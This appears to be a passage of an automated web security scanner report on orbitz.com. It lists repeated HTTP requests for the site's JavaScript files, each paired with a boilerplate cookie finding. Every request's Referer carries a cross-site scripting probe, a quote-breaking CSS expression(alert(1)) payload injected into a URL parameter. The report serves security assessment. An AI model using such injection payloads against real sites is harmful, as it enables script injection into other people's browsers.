GET /shared/js/behaviors.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/bot.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/cookie.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
/* Cookie object Manages one cookie with the instantiated name. Cookie is not retrieved until get() is called. Individual values are separated by delimiter (|) */ function Cookie(name) { this.de ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/deals.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
var textDivider = function(incomingDivId, forcedDivideAt) { var sourceDiv = $(incomingDivId); var sourceHtml = sourceDiv.innerHTML; var divideAt = sourceHtml.substring( ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/destinationDetails.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/global.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
// ******************* CLIENT_SIDE SNIFFER CODE ******************* // stylesheet selection removed - used for some DHTML stuff that is not on every page, but is on // enough to justify being in glob ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/dialog.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
/* ** This is the global dialog object. It is extended by the Lightbox and ** Microcontent objects. These should be used site-wide for any layered ** dialog implementations. The Dialog object shoul ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/prototype.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
/* Prototype JavaScript framework, version 1.6.0.3 * (c) 2005-2008 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototyp ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/prototypeExtensions.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
/* File contains: - extensions to prototype.js - extensions to javascript core (or hosted) objects - mostly a subset of util.js from Austin codebase */
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/builder.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/controls.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/dragdrop.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/effects.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/scriptaculous.js?cache=20041122 HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573790782:ss=1296573790782; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/slider.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/lib/scriptaculous/src/sound.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573798141:ss=1296573790782
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /shared/js/tracking/webtrends.js HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897; OSC=265DA875C314B0C54855FC80AB1B1D8C; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660 If-None-Match: "4830-49a4d1593a700" If-Modified-Since: Thu, 20 Jan 2011 20:36:12 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
